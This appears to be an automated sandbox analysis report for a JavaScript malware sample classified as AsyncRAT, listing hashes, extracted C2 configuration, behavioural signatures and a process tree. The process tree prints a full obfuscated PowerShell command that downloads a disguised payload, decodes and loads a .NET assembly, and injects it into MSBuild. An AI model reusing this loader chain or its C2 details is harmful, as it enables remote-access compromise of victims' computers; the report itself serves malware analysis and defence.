Analysis
-
max time kernel
96s -
max time network
139s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
13-01-2025 13:31
Static task
static1
Behavioral task
behavioral1
Sample
Agreements.js
Resource
win7-20240903-en
General
-
Target
Agreements.js
-
Size
163KB
-
MD5
cb7541f8671eb6b42ce0a58de6973c9b
-
SHA1
aebfdd104f8883f35aa9818cc3a9e2248c8d3379
-
SHA256
a45962b3f4ff99334a43e3fea7ca89bc324ed95c3eb14406ccc1701141147013
-
SHA512
8a735f9261b829951fc00ade7ad065c3d5fac6387c1344bbd3130793c71dd6d5764f43324dc2f0577941ec422480844520575d496408f2df9c54931c30d1c533
-
SSDEEP
1536:c8uNnKlC9130ibAHEGlexE7Ea9ERy4rDqm4SzQ6VIYWij5zeDJKg0tW7exmbcAOp:c8WnKM9abHcqUqYzQ6V2id8U
Malware Config
Extracted
https://res.cloudinary.com/dc12ss6tu/image/upload/v1736761789/giqxrtx59cniopnbdvxz.jpg
https://res.cloudinary.com/dc12ss6tu/image/upload/v1736761789/giqxrtx59cniopnbdvxz.jpg
Extracted
asyncrat
Venom Pwn3rzs' Edtition v6.0.1
Default
185.196.10.147:4449
naiiqsunoewliwauv
-
delay
3
-
install
false
-
install_folder
%AppData%
Signatures
-
Asyncrat family
-
Blocklisted process makes network request 5 IoCs
flow pid Process 4 4192 wscript.exe 7 4192 wscript.exe 9 4192 wscript.exe 21 4972 powershell.exe 26 4972 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation wscript.exe -
pid Process 4972 powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 4972 set thread context of 3640 4972 powershell.exe 96 -
Command and Scripting Interpreter: JavaScript 1 TTPs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 1 IoCs
pid pid_target Process procid_target 4452 3640 WerFault.exe 96 -
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MSBuild.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 4972 powershell.exe 4972 powershell.exe 4972 powershell.exe 4972 powershell.exe -
Suspicious use of AdjustPrivilegeToken 44 IoCs
description pid Process Token: SeDebugPrivilege 4972 powershell.exe Token: SeDebugPrivilege 3640 MSBuild.exe Token: SeIncreaseQuotaPrivilege 3640 MSBuild.exe Token: SeSecurityPrivilege 3640 MSBuild.exe Token: SeTakeOwnershipPrivilege 3640 MSBuild.exe Token: SeLoadDriverPrivilege 3640 MSBuild.exe Token: SeSystemProfilePrivilege 3640 MSBuild.exe Token: SeSystemtimePrivilege 3640 MSBuild.exe Token: SeProfSingleProcessPrivilege 3640 MSBuild.exe Token: SeIncBasePriorityPrivilege 3640 MSBuild.exe Token: SeCreatePagefilePrivilege 3640 MSBuild.exe Token: SeBackupPrivilege 3640 MSBuild.exe Token: SeRestorePrivilege 3640 MSBuild.exe Token: SeShutdownPrivilege 3640 MSBuild.exe Token: SeDebugPrivilege 3640 MSBuild.exe Token: SeSystemEnvironmentPrivilege 3640 MSBuild.exe Token: SeRemoteShutdownPrivilege 3640 MSBuild.exe Token: SeUndockPrivilege 3640 MSBuild.exe Token: SeManageVolumePrivilege 3640 MSBuild.exe Token: 33 3640 MSBuild.exe Token: 34 3640 MSBuild.exe Token: 35 3640 MSBuild.exe Token: 36 3640 MSBuild.exe Token: SeIncreaseQuotaPrivilege 3640 MSBuild.exe Token: SeSecurityPrivilege 3640 MSBuild.exe Token: SeTakeOwnershipPrivilege 3640 MSBuild.exe Token: SeLoadDriverPrivilege 3640 MSBuild.exe Token: SeSystemProfilePrivilege 3640 MSBuild.exe Token: SeSystemtimePrivilege 3640 MSBuild.exe Token: SeProfSingleProcessPrivilege 3640 MSBuild.exe Token: SeIncBasePriorityPrivilege 3640 MSBuild.exe Token: SeCreatePagefilePrivilege 3640 MSBuild.exe Token: SeBackupPrivilege 3640 MSBuild.exe Token: SeRestorePrivilege 3640 MSBuild.exe Token: SeShutdownPrivilege 3640 MSBuild.exe Token: SeDebugPrivilege 3640 MSBuild.exe Token: SeSystemEnvironmentPrivilege 3640 MSBuild.exe Token: SeRemoteShutdownPrivilege 3640 MSBuild.exe Token: SeUndockPrivilege 3640 MSBuild.exe Token: SeManageVolumePrivilege 3640 MSBuild.exe Token: 33 3640 MSBuild.exe Token: 34 3640 MSBuild.exe Token: 35 3640 MSBuild.exe Token: 36 3640 MSBuild.exe -
Suspicious use of WriteProcessMemory 15 IoCs
description pid Process procid_target PID 4192 wrote to memory of 4972 4192 wscript.exe 83 PID 4192 wrote to memory of 4972 4192 wscript.exe 83 PID 4972 wrote to memory of 1952 4972 powershell.exe 93 PID 4972 wrote to memory of 1952 4972 powershell.exe 93 PID 4972 wrote to memory of 2316 4972 powershell.exe 95 PID 4972 wrote to memory of 2316 4972 powershell.exe 95 PID 4972 wrote to memory of 2316 4972 powershell.exe 95 PID 4972 wrote to memory of 3640 4972 powershell.exe 96 PID 4972 wrote to memory of 3640 4972 powershell.exe 96 PID 4972 wrote to memory of 3640 4972 powershell.exe 96 PID 4972 wrote to memory of 3640 4972 powershell.exe 96 PID 4972 wrote to memory of 3640 4972 powershell.exe 96 PID 4972 wrote to memory of 3640 4972 powershell.exe 96 PID 4972 wrote to memory of 3640 4972 powershell.exe 96 PID 4972 wrote to memory of 3640 4972 powershell.exe 96 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\Agreements.js1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4192 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$originalText = 'SmpUQ/sr.e#sap//:sp##h';$restoredText = $originalText -replace '#', 't';$CeuLNziGNBSqGLBuWpTA = 'https://res.cloudinary.com/dc12ss6tu/image/upload/v1736761789/giqxrtx59cniopnbdvxz.jpg';$OPGOZtClmUipcxnxfutG = New-Object System.Net.WebClient;$bRGRflUnWLzJiWPReoWi = $OPGOZtClmUipcxnxfutG.DownloadData($CeuLNziGNBSqGLBuWpTA);$IiOcURGPLLUWLcPbjBbz = [System.Text.Encoding]::UTF8.GetString($bRGRflUnWLzJiWPReoWi);$QOCNxxLJUeWBiiqitGca = '<<BASE64_START>>';$WLLqUaKsKLoOKWhzAsAf = '<<BASE64_END>>';$UZlpLmBcUOnkciicUWbG = $IiOcURGPLLUWLcPbjBbz.IndexOf($QOCNxxLJUeWBiiqitGca);$KkLWLzvkGCpoLakOxmHL = $IiOcURGPLLUWLcPbjBbz.IndexOf($WLLqUaKsKLoOKWhzAsAf);$UZlpLmBcUOnkciicUWbG -ge 0 -and $KkLWLzvkGCpoLakOxmHL -gt $UZlpLmBcUOnkciicUWbG;$UZlpLmBcUOnkciicUWbG += $QOCNxxLJUeWBiiqitGca.Length;$LKpeWfeNinGLeGWuWSKU = $KkLWLzvkGCpoLakOxmHL - $UZlpLmBcUOnkciicUWbG;$AGLfcWOaTSUUPLCtKLbL = $IiOcURGPLLUWLcPbjBbz.Substring($UZlpLmBcUOnkciicUWbG, $LKpeWfeNinGLeGWuWSKU);$tWtGLWBbKlKAhZLZQfTi = -join ($AGLfcWOaTSUUPLCtKLbL.ToCharArray() | ForEach-Object { $_ })[-1..-($AGLfcWOaTSUUPLCtKLbL.Length)];$LLZqrLAtAzehGLKzGBJR = [System.Convert]::FromBase64String($tWtGLWBbKlKAhZLZQfTi);$qKLkBildhPftTRIZOWeh = [System.Reflection.Assembly]::Load($LLZqrLAtAzehGLKzGBJR);$KNtdAZOGOULLmnnomqiz = [dnlib.IO.Home].GetMethod('VAI');$KNtdAZOGOULLmnnomqiz.Invoke($null, @($restoredText, 'digWsKrGNiZhUuofWNWb', 'digWsKrGNiZhUuofWNWb', 'digWsKrGNiZhUuofWNWb', 'MSBuild', 'digWsKrGNiZhUuofWNWb','digWsKrGNiZhUuofWNWb','digWsKrGNiZhUuofWNWb','URL', 'C:\ProgramData\','sexifid','js','10','1','TaskName'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4972 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C copy *.js "C:\ProgramData\sexifid.js"3⤵PID:1952
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵PID:2316
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:3640 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3640 -s 12964⤵
- Program crash
PID:4452
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 3640 -ip 36401⤵PID:1756
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82